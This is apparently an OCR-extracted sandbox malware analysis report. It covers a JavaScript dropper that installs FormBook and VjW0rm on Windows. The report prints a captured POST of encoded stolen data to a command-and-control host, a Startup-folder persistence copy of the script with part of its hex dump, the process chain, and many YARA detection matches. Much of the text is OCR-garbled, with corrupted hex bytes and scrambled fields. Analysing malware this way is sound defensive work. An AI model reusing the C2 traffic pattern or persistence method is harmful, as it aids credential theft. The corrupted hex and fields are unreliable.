4b a2 59 df f7 7c 1b b3 78 30 14 68 5d el ec 6f 4b d0 1b e8 9d 05 84 f8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09
2b 5e c4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 7 b4 e3 b2 d1 77 f2 77 89 b4 b3 d1 f7 08 f1 f5 b1 e3 1a c9 00
00 00 00 ff ff 03 00 1f 08 e8 aa f0 01 00 00

Data Ascii: L@"fa%"\B%QXytWvU5dg aQMe”B,s"<#ETu2_9;Y# )2n%*KY |xOh]oK#vSX85{n+"40rG?ww

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.jlbwaterdamagerepairseattle.com

Connection: close

Content-Length: 36477

Cache-Control: no-cache

Origin: http://www.jlbwaterdamagerepairseattle.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 53 39 54 57 7a 69 75 7a 6f 6f 73 43 62 34 28 35 71 78 6f 2d 67 72 31 49 6¢ 35 30 30 32 6f 55 6a
3766 6b 64 32 76 72 50 75 38 6b 77 6a 57 30 65 6a 44 64 67 39 46 48 67 33 57 62 36 34 6e 46 31 28 41 45 71 69 4b 32
71 4a57 58 6b 7e 4e 63 30 74 46 59 70 72 65 56 46 54 42 75 34 52 6e 47 49 35 54 77 71 28 39 43 79 4b 43 52 62 46 44
63 6d 63 53 6b 45 50 73 43 6b 46 32 74 75 42 30 54 4b 49 6a 62 6f 6a 32 6f 58 69 63 6a 52 28 6a 78 56 41 65 4f 6e 66 7
366 6158737237 73 64 6a 4c 4e 6b 48 45 33 5f 31 73 77 64 66 70 36 5a 79 2d 49 41 75 32 70 34 54 65 64 53 5a 54
6c 70 38 54 7576 4c 70 39 4d 78 38 68 6a 71 7a 4c 73 44 6f 41 37 34 56 35 67 54 4c 53 6f 6e 49 7e 31 74 37 46 74 36
6¢ 42 6d 4b 68 32 6e 32 35 57 74 56 34 54 39 6f 6b 6b 77 55 6e 63 54 79 39 69 47 4c 43 7a 36 75 64 77 38 4e 5f 69 63
53 54 6e 39 4b 4d 35 74 64 67 31 37 50 55 28 37 47 79 54 4d 77 5f 4f 50 35 39 32 67 58 50 70 41 4d 2d 31 71 68 51 79
44 42 6f 4a 50 78 74 54 41 72 77 31 72 62 6b 44 71 55 69 35 76 64 4e 6b 43 6f 31 41 72 48 4d 76 52 41 6d 54 63 4a 66
78 43 66 69 66 34 71 6b 64 62 37 74 47 77 62 61 41 53 45 7a 6f 31 67 6f 4c 43 70 59 4c 49 67 5f 53 69 42 7a 76 63 39 65
36 39 32 63 4a 56 69 4b 4e 52 70 62 47 31 6a 34 34 46 49 51 28 68 62 42 59 33 70 57 39 42 6b 72 7e 65 78 36 52 4a 69
6f 7a4e 79 57 36 30 66 67 54 38 41 52 61 72 76 36 76 4b 57 79 67 42 49 31 47 73 34 65 77 45 55 68 4a 52 7a 62 46 49
57 31 64 56 6a 2d 63 6f 64 4a 55 31 6¢ 42 65 79 70 4e 51 55 39 36 4d 4d 36 33 71 37 6¢ 4c 73 4c 7e 44 5a 4b 50 30 55
42 44 30 49 61 33 34 79 78 7a 4f 33 75 34 76 54 57 39 52 39 4f 6b 64 33 71 47 66 58 55 74 39 37 2d 53 30 51 57 58 52
38 50 48 6a 45 6b 4c 69 59 62 4d 4b 56 35 69 6¢ 61 4b 63 56 48 58 49 56 58 58 79 33 53 69 72 33 63 73 57 4¢ 69 70 70
4e 6e 42 64 69 38 6d 43 31 75 6e 43 49 53 70 54 6¢ 4f 6e 63 48 48 72 6¢ 4e 46 63 4c 68 47 51 4b 58 43 67 4f 71 47 63
30 55 4f 72 6d 63 49 65 34 74 56 6e 52 6d 76 59 54 30 66 47 6¢ 61 77 53 4b 4a 36 67 54 66 34 59 50 48 7238 7a 71 7a
36 48 44 61 47 41 50 49 65 49 32 68 39 48 4d 44 62 4a 36 4a 31 41 6¢ 54 32 72 58 57 4f 56 49 72 41 4d 4d 66 48 7e 6d
69 6f 53 6a 36 69 44 4a 51 50 50 36 74 47 79 36 47 58 67 51 7e 2d 57 42 48 45 72 65 30 6b 75 32 4b 6e 4d 44 31 51 47
63 55 69 54 65 78 75 28 49 6a 64 65 56 56 6a 69 58 5a 6¢ 41 57 61 47 53 42 79 69 4b 4e 6b 33 55 68 72 41 35 73 55 73
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Timestam kBytes

P transferred
May 27, 2022 9563
18:43:24.816142082
CEST
Statistics
Behavior

Copyright Joe Security LLC 2022

Direction

7a 66 7477 47 37 4c 6a 71 41 37 6t 62 4a 6¢ 44 79 66 46 6d 47 55 4a 75 34 4d 41 33 56 30 39 78 6t 58 6a 6d 33 49 74
Hara 52 59 6a 6f 5a 53 39 34 70 70 46 6d 4a 50 67 7a 61 36 36 59 6e 39 4c 63 70 73 52 64 74 6d 48 6¢ 51 47 67 41 33
56 79 7a 32 75 79 38 48 4e 39 77 5a 73 58 56 4e 76 55 53 72 7a 37 74 56 63 68 4d 63 39 54 69 47 33 78 72 57 70 55 44
49 44 32 6f 52 47 5a 30 6¢ 42 38 75 4a 59 63 63 76 74 46 7a 2d 34 48 28 75 72 6¢ 41 79 78 79 6e 66 7a 38 4b 77 49 49
36 38 58 52 41 7a 6a 41 4a 44 6f 79 6a 43 66 6f 43 67 37 6b 58 4a 41 6d 63 59 38 4d 37 71 64 6e 44 61 68 72 4a 4e 35 3
054 39 58 5f 48 5a 36 59 55 69 4f 34 51 62 49 69 57 68 62 6¢ 38 48 50 42 28 49 71 54 54 58 4d 59 41 6e 39 45 34 43 62
7368 76 3332 33 47 4b 66 31 78 6b 57 44 79 79 4a 7e 62 4b 54 6b 33 34 67 33 72 35 56 55 75 56 46 66 30 45 42 39 5a
3134 6d 77 6253 79 37 77 56 71 66 55 77 42 4b 59 33 6d 67 52 54 45 6b 35 70 32 6a 39 30 6d 78 49 79 6¢ 42 72 72 69
3559 73 75 62 43 42 77 66 33 4e 4d 35 48 62 33 6a 67 54 73 62 28 34 37 45 79 6¢ 71 43 61 51 70 6¢ 53 30 65 5a 69 68
6f 46 63 76 7a 34 7e 31 55 38 6e 6b 43 70 51 73 5a 76 53 75 78 75 48 54 61 5a 32 4c 38 49 59 57 57 4a 64 6e 73 69 28
76 5a 54 76 6f 66 4c 4b 36 57 45 49 77 67 78 33 6¢ 69 65 66 4a 45 57 64 42 45 6b 54 69 45 73 6a 67 6e 50 7a 48 71 72
6a 33 5a 73 33 30 47 79 4c 46 39 33 78 52 62 49 55 74 51 6e 4e 65 6e 58 55 49 50 48 62 50 7a 37 6e 7a 4d 6b 70 4b 34
51 45 46 78 76 61 6a 43 42 64 5a 32 56 4e 64 4a 33 4f 73 52 54 77 48 6b 76 30 5f 4e 64 33 77 4¢ 69 61 71 6a 38 74 78
54 7a 4b 4a 28 4d 55 69 75 6e 4b 4a 77 5f 41 72 34 6e 6a 51 79 58 43 63 48 55 59 7a 67 56 6f 64 46 61 52 57 45 6e 51
7a5a 67 28 37 6d 31 76 55 4b 4a 47 6b 52 65 33 71 34 68 66 31 65 4b 4b 38 6d 70 68 5a 75 51 39 32 61 61 43 5a 72
Data Ascii: ZVB=S9TWziuzoosCbh4(5gx0-gr1l150020Uj7fkd2vrPu8kwjW0ejDdg9FHg3Wb64nF1(AEQiK2gJWXk~NCcOtFYp
reVFTBu4RnGI5Twq(9CyKCRbFDcmcSKEPSCkF2tuBOTKIjboj2oXicjR(jxVAeOnfsfaXsr7sdjLNKHE3_1swdfp6Zy-
|1Au2p4TedSZTIp8TuvLp9IMx8hjgzLsDoA74V5gTLSonl~1t7Ft6IBmKh2n25WtVAT9okkwUncTy9iGLCz6udw8N_
icSTN9KM5tdg17PU(7GyTMw_OP592gXPpAM-1ghQyDBoJPxtTArwlrbkDqUi5vdNkColArHMvRAmMTcJfxCfif4gkdb
7tGwbaASEzolgoLCpYLIg_SiBzvc9e692cIVIKNRpbG1j44FIQ(hbBY3pW9Bkr~ex6RJiozNyW60fgTBARarvevKWy
gBI1Gs4ewEUhJRzbFIW1dVj-codJU1IBeypNQU96MM63q7ILsL~DZKPOUBDOIa34yxzO3u4vTWIR9IOkd3qGFXUt97-
SO0QWXR8PHjEKLIYbMKV5ilaKcVHXIVXXy3Sir3csWLippNnBdi8mC1unCISpTIOncHHrINFcLhGQKXCgOgGcOUOrme
le4tVnRmvY TOfGlawSKJI6gTf4YPHr8zqz6HDaGAPIel2h9HMDbJBJ1AIT2rXWOVIrAMMfH~mioSj6iDIQPP6tGYy6GXgQ~-
WBHEre0ku2KnMD1QGcUiTexu(ljdeVVjiXZIAWaGSByiKNk3UhrA5sUszftwG7LjgA70bJIDyfFmGUJu4MA3V09xoXjm3ItG
WRYjoZS94ppFmJPgza66Yn9LcpsRdtmHIQGgA3Vyz2uy8HNIwWZsXVNvUSrz7tVchMc9TiG3xrWpUDID20RGZ0IB8uJ
YccevtFz-4H(urlAyxynfzZ8Kwl168XRAzjAJDoyjCfoCg7kXJAmcY8M7qdnDahrIN50T9X_HZ6YUiO4QbliWhbI8HPB
(IgTTXMYAN9E4Chshv323GKf1xkWDyyJ~bKTk34g3r5VUUuVFOEB9Z14mwbSy7wVgfUwBKY3mgRTEK5p2j90mxlylB
rri5YsubCBwf3NM5Hb3jgTsb(47EylqCaQplS0eZihoFcvz4~1U8nkCpQsZvSuxuHTaz2L 81YWWJdnsi(vZTvofLK6
WEIwgx3liefJEWdBEKTiEsjgnPzHqrj3Zs30GyLF93xRblUtQnNenXUIPHbPz7nzMkpK4QEFxvajCBdZ2VNdJ30sRT
wHkv0_Nd3wLiagj8txTzKJ(MUiunKJw_Ar4njQyXCcHUYzgVodFaRWENQzZg(7m1vUKJIGkRe3g4hfleKK8mphZuQ92
aaCZr_iZyy6PnkZK(dsgOp6BYlclwewIMGdM~pJrmpsArEInXhs4jGZNUEGqOyYYQQcy_c3sIRu9AQt3Hy2ceOTHFm2w-
ZaONJOT1TW4d9eLOAGtY3JIppo06aM7_npu-3lk9dNBVXj5VCiVFevK94RZTKE95Txvznce24p0vhvRdObEd5QtPVZf_F-
iX9sSGUQqJJIvivwFUNhsZFBXsMDKOy9jLrAOG8aJ4Ha00eE~alnMKrh1BNg8dhZGyFwPgfOr3p4eMhbz7QeoS
sFHU2G7AsH35a92bAKYxbPeOa5ULDj4FYBnt9N1I(hjbwpxpvgNhchqgl61lnugOwxXg_DtHg6gugowAcAFpjm5gELQ
KKwyXr8Xs8ljas(YEutQeadZphQ3vsrXAdmQWVwZ~-cEDnrpRhm18bJqUHRK8sHin5V2G9qo8HUN91J-RIVaop3-bz
u87ExUn39lj-HTcoNxW6y19DZjAZnW306HtOWL5R7WcukjngG7P5vT5QBBGsFdAfhOgm170zUMASmM1ZxMUDTMqvgll
Y XLyDf0f4liXS2vv8c8s004jxwlgJj(uQTInZBzQi0irVkldrdJF2904J-wWhURHSmMJIREQj3RINOzh8CzrguOltM44AAr8I19Bo(J
IWXhGVXrijm3LXBjgeBWBWSEmM1RkDQ50iKiJmcZQUXA_(jhVoX2epEEHrzYY6JyKE5gXxEGE2NIm9ezDkn8Pg~6VyD3
INWh4fYssKRIMRV50vXrMHYi2xg3mPQPLIYqUV7I8VV5p2pDw8ginsWuz4L BANRe3HW6IK3tW4jfd6tSLGyyDtrouB
00xkYC98qQ5WPSMRzt(cnPT9UmlyXsejnx74CaKU~gdlomXTX3BR5Ik1A1yrV3xw2RoODZbvOUSV20eMCLbEitQN4x
hNkyDI2NKX4N~6¢_~CvK8aCXjGeYPJINIAxzTeix2dpObjAclUXh_1KZmwgTD(9VAQSQOUOD-W3gKIIEzm3ulYWKFV5
vS7709NBW66jh4MPrHvSAiemOCJIWO0xsmzEOLmEroavcayLtBwuYb7xhfvnDKDc4SGvAwa6c9zwdDHgXtjLzgEXFul7
M3dZ3GEwvc1sB5qIBRed3IPRuswMafRw(vGXbP6Cj_HhIMUO9HIJYiz-5uE0a6a9zuZ5AD6ESLAjydSEIKBUNN7AMWW
fiXLF30JdFes2ForyST-IV3X0IINDgO_Ij3CH4bpvGdqOk22Gri4d7Dfo3pyBVOWced72w5SMLSz_uEFIwbYD8qfLPM
0e4CMt37IpRV7bt_Jx~Ncm3FgcwrErgJ~Fj2R-Dk39K3DWaqyFekN55HPGIMUSNEYN4LK95DCQtnvtlynSFgIEILI2s
2jCD~WQzquS80-0dmZVnqaSDKSzRs_(hs3CgaXWXIMxOSvkHJIQQLDY (Z3Ljc0_Evy9P22UcWvctU8vd5Ysn4pSW2Bk
0OjOYmy0rXu8SaHxcm4WDEPhwsKDctAaOIF7j414AsyXd~fikadvFriVSVOKSNhGUhitWBYelLa6S7GcE3zQ90D6eovu
Emg8kDnaqGpJtAJGNt(HnnfUdOM904fv3Evr6eQUPFVFWr2hE11Vxar5BeNVDXZYMgjnsl5p1f4-Y1taed2GN8AYFR
bOWI3iblhK5FclJEhzaQh0ZjljWlglgnjTIFbvM_D_6N(202nFDaCza86K98H2DayiRGMfixHte03Bxleu2v7E_plpj9MxkeLpsF5
0Zf2VtQCPhFXUbVOLMY8LFTXildbzuRY6QyVvBtQ7E5W1UIr1Vx8~dmk2y1tZ9Pn0yhgzj8BOH3_yKRmFxftzNIL~T
rCcicLtYoH4gSW6S(00iFduThxF6Znlj4dJfO_~7VNmMZOCIDHGAYXLL6HKelE3aoE_TkEzmagbeo4xOmxWOvVPfQYfal
ONILO3X0jkl-6d6KYO62e0ZrhITREMEDdIGmgn4zCkviea0ebpx3GRJILFIC36WJIcWQOgSUnEwgFAplvAoynnOcMSUm
WGYWJYDTy1Yi1VdyTCFjp3en0VIkSTU2H60-6AWUB5f65JFrnQJQ3uXMzMgYiUwFkrnMZiZk2nraaEYF602Dg5gPaP
04j5Mzz1P4uvS8mejoYMQkiaOpHSxi3VvsIHP2zAdoD3cnrrwgOizrowJEOBD7iiRLVb5SRDQXxhNBs471N47R5UGEyY
6JNacNhlyU2pvdY8NNyS9CPgwbluwbtrA9ziOnf_r6SBRbba86DgRi3UdW~BUe7FJI3NRCALI6tdWOs6FQAVI4ASe6G
ulgZr3BKOUAK180bDHXW/(Cg1IZCC5H(HC7Z-90jVDIxuC1KIQJY1seNITpf3IDRIN8Opar~eSZyKKAEI6VjJZ2USX1
m7E3uHa8oBov(fGYuO24jXukeQPbjlfAQETol7IEfdXYaRkYZgqip3NBiAwukoQdxgCoKeAphvBEBONQOOYRIVCIAN
JIPLUWICMx33vfd3Uk1hNHAZSRI6IbOHePrB5elAkYzgZulbg82uFhsQw50f_tOj0KvZOWq9xui8q3w4lJ8v~J(_
SeSN4ow_u8V-mOPf1PQVyeY9uzZX61ZdYJoBC(pGirX8_Co(Ra_OniGduPZABKh975nPcE_PtalHNKBAUTtEQOJ~hxx
STWpS50d53aGWHjjOMsx1c~aPK(WuVwY0JhRTI9yjWGbwkMgbPEIX64vHBSuo8T7EhSCh_9RDC3FFVdicsUjkqlLkb
ucLKOP1c

HTTP/1.1 404 Not Found

Connection: close

content-type: text/html

content-length: 252

content-encoding: gzip

vary: Accept-Encoding,User-Agent,User-Agent

date: Fri, 27 May 2022 16:43:24 GMT

server: LiteSpeed

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 Oe 82 40 10 05 fb fb 8a 95 5e 17 Oc €5 66 13 61 97 dc 25 27 10 b3 14
f4 5¢ 42 25 51 el ff 0d d2 58 be 99 79 74 92 ae b6 bl 57 f0 76 8f d0O Of 55 Oc 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51

db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2¢c db 73 22 3c a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39

c1 3b bd b6 f4 59 d3 04 ¢3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 Oc 00 dO de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a 1e bf

4b a2 59 df f7 7c 1b b3 78 30 14 68 5d el ec 6f 4b dO 1b e8 9d 05 84 8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09
2b 5e ¢4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 7 b4 e3 b2 d1 77 f2 77 89 b4 b3 d1 f7 08 f1 f5 b1 e3 1a c9 00
00 00 00 ff ff 03 00 1f 08 e8 aa fO 01 00 00

Data Ascii: L@"fa%"\B%QXytWvU5dg aQMe”B,s"<#ETu2_9;Y# )2n%*KY xOh]oK#vSX85{n+"40rG?ww
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@

System Behavior

@ wscript.exe
@ wscript.exe
@ bin.exe

@ explorer.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe
@ rundli32.exe
® cmd.exe

@ conhost.exe
@ cmd.exe

@ conhost.exe
@ oxx7nkdv4g8.exe

Click to jump to process

Analysis Process: wscript.exe PID: 6972, Parent PID: 684

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

0

18:40:12

27/05/2022

C:\Windows\System32\wscript.exe

false

C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\CIQ-PO16266.js"
0x7ff680380000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

true

true

C, C++ or other language

Copyright Joe Security LLC 2022
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Yara matches: .

Reputation: high

File Activities

Analysis Process: wsc

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.440159871.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.438650051.000001C6B5E12000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000002.454868060.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.439308251.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.449493611.000001C6B5DFF000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.448788961.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.438775384.000001C6B5E12000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.438537712.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

ript.exe PID: 7152, Parent PID: 6972

General

Target ID: 2

Start time: 18:40:20

Start date: 27/05/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe" /B "C:\Users\user\AppData\Roaming\wtheeNaAZG.js
Imagebase: 0x7ff680380000
File size: 163840 bytes

Copyright Joe Security LLC 2022
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MD5 hash:
Has elevated privileges:

Has administrator
privileges:

Programmed in:

9A68ADD12EBS50DDE7586782C3EBOFFOC
true

true

C, C++ or other language

Yara matches:

e Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source:

00000002.00000002.959380851.0000015595548000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000002.00000002.959380851.0000015595548000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000002.00000002.961594354.000001559722F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000002.00000002.959396798.0000015595552000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

File Activities

File Created

File Path Access

read data or list
directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\wtheeNaAZG.js

File Written

File Path Offset Length Value

8757 76 6f 69 64 20 28 21 41
72726179 2e 70 72 6f
74 6f74 79 70 65 2e 66
6f 72 45 61 63 68 20 3f
204172726179 2e 70
72 6f 74 6f 74 79 70 65
2e 66 6f 72 45 61 63 68
20 3d 20 66 75 6e 63 74
69 6f 6e 20 28 63 61 6¢
6¢ 62 61 63 6b 2¢c 20 74
68 69 73 41 72 67 29 20
7b 0a 20 20 20 20 74 68
69 73 41 72 67 20 3d 20
746869 73417267 3b
0Oa 20 20 20 20 66 6f 72
2028 76 61 72 20 69 20
3d 20 30 3b 20 69 20 3¢
20 74 68 69 73 2e 6¢c 65
6e 67 74 68 3b 20 69 2b
2b 29 20 7b 0a 20 20 20
2020 20 20 20 63 61 6¢C
6c 62 61 63 6b 2e 63 61
6C 6¢ 28 74 68 69 73 41
72 67 2¢ 20 74 68 69 73
5b 69 5d 2¢ 20 69 2c 20
74 68 69 73 29 3b 0a 20
202020 7d Oa 7d 20 3a
20302c2021417272
6179 2e 70 72 6f 74 6f
7479 70 65 2e 6d 61 70
203f204172726179
2e 7072 6f 74 6f 74

C:\Users\user\AppData\Roaming\ 0
Microsoft\Windows\Start Menu\P
rograms\Startup\wtheeNaAZG.js

File Path Offset

Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Key Path Name

Type Data

Analysis Process: bin.exe PID: 6372, Parent PID: 6972

General
Target ID: 3
Start time: 18:40:21

Copyright Joe Security LLC 2022

Attributes

device

Options Completion Count Source Address Symbol

sequential only | ' success or wait 1 7FFA527B700A

non directory file

CopyFilew

Ascii Completion Count Source Address Symbol

void
('Array.prototype.forEach
? Array.prototype.forEach
= function (callback,
thisArg) { thisArg =
thisArg; for (vari=0; i
< this.length; i++) {
callback.call(thisArg,
thisfi], i, this); }}: 0,
!Array.prototype.map ?
Array.protot

success or wait 1 7FFA527B700A CopyFileW

Length Completion Count Source Address Symbol

Completion Count Source Address Symbol
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Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Antivirus matches:

Reputation:

File Activities

File Read

File Path

C:\Windows\SysWOWe64\ntdll.dll

27/05/2022
C:\Users\user\AppData\Local\Temp\bin.exe

true

"C:\Users\user\AppData\Local\Temp\bin.exe"

0x10000

175616 bytes
FF568D4337CE1566C4140FA2FEDF8DB8
true

true

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, Author:

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, Author:

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, Author:

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, Author:

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, Author:

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, Author:

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author:

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author:

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author:

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author:

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author:

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author:

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author:

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author:

dot com
Rule: Formbook, Description: detect Formbook in memory, Source:

00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Author:

Joe Security

